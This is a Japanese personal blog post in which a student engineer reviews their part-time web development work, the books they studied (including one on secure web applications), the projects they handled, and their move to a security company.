Web関連の技術の学習

まず、Web開発を行うための基礎について学習を行いました。

入った当初は恥ずかしながら「JavaScriptJavaって似てる言語なんでしょ?」くらいの認識しかなかったため、書籍や職場の方とのメンタリングを通して基礎知識を身につけました。

主に以下の書籍で学習していたような気がします(記憶が定かではない)。

「プロになるためのWeb技術入門」 ――なぜ、あなたはWebシステムを開発できないのか

Web技術のさわりがさらっと書いてあります。全体像を掴むのに有用でした。

gihyo.jp

作りながら学ぶ HTML/CSSデザインの教科書

今はほぼフレームワークを使うので生のHTML/CSSを触ることはほとんどないですが、入門としてとても良かったです。

htmlcss.cat-speak.net

改訂新版JavaScript本格入門

JavaScriptJavaは全然違うんだなあと思いました(は?)。文法や実際的なコーディングに関して網羅的に書かれていて良かったです。

gihyo.jp

JavaScript 第6版

サイ本です。分厚いです。

www.oreilly.co.jp

Amazon Web Services パターン別構築・運用ガイド

AWSを用いたサーバレス開発がメインだったので、リファレンスとして読んでいました。いまだにAWSのことが体系的にわかっていないので、現在改めて読み直しています。

www.sbcr.jp

Amazon Web Services 業務システム設計・移行ガイド

同上。

www.sbcr.jp

Ruby on Rails 5 アプリケーションプログラミング

サーバサイドにRuby on Railsを採用しているプロジェクトがあり、そのために読みました。Rubyは個人的にうーんと思うところが多く、長い間放置していたので、今はほとんど記憶にありません...。

gihyo.jp

AngularJS アプリケーションプログラミング

フロントエンドのフレームワークとしてAngularJSを採用していたため読みました。昨今のフロントエンド界隈は進化のスピードが速すぎてキャッチアップが大変ですね...。

gihyo.jp

体系的に学ぶ安全なWebアプリケーションの作り方

徳丸本。業務には直結しませんでしたが、Web開発に携わる者として一度は目を通しておくべき書籍だと思います。

www.sbcr.jp

ERPシステムの開発

Webベースで企業資源の管理を行うWebシステムの開発を行いました。最初のプロジェクトということもあり、主に下流工程の細やかなタスク(UIの設計、細かい機能の実装、テスト等)を担当しました。

開発したシステム自体が、いわゆる3層アーキテクチャ的な設計だったため、Web開発の流れや全体像をわかりやすい形で掴むことができた点で良い経験だったと思います。

SNSアプリケーションの開発

スマホSNSアプリの開発を行いました。仕様やデザインはシンプルなものでしたが、ユーザからアップロードされるマルチメディアデータの扱いに非常に苦労しました。

開発前にインフラやサーバ側のキャパシティに関するプロビジョニングを慎重に行うことの重要性を身に染みて理解することができました。

地図系システムの開発

地図ライブラリを用いたアプリケーションの開発を行いました。地図関連の開発に若干詳しくなったような気がします(多分何もわかっていない)。

ビューワーの開発

電子的な資料を閲覧するためのアプリケーションを開発(引き継ぎ)しました。引き継ぎ前の実装やその環境が少々大変なことになっており、運用保守するのに非常に苦労しました。

アプリケーションの実装(保守)に加えて、開発環境の整備(リポジトリの管理、Issue/PRベースの開発要件整理)も行いました。

この記事を書いている時に以下の書籍を思い出しました。読んでみたいです。

www.oreilly.co.jp

転職の動機

職場の業務自体に不満があったわけではないですが、扱っている技術のマンネリ化(既存のノウハウがあり、かつ比較的レガシーな技術を中心的に採用していたので、新たな技術を学習したりそれを実際にプロジェクトに採用したりする機会が徐々に減っていった)や専門領域(セキュリティ関連の業務)に対するモチベーションから、転職を意識するようになりました。

今年からはお声がけいただいたセキュリティ系の会社で学生エンジニアをやっていきます。セキュリティ系のことを業務としてやるのは初めてなので、若干不安な反面とても楽しみです。自分の好きな領域でお仕事ができるということもあり、可能な限り成長しつつ成果を出していければと思います。

おわりに

何にせよ、学生時代のうちにエンジニアとして働けるという経験を積めたのは様々な面でプラスになったなあと改めて感じます。もしもこの経験がなければ、あの成果も出なかったし、あの経験も積めなかったのではないかと感じることが多々あります。

今年度からは大学院生になるので本当に就職するのはまだ先になりますが、将来を見据えて新しい業務に全力で携わっていきたいと思います。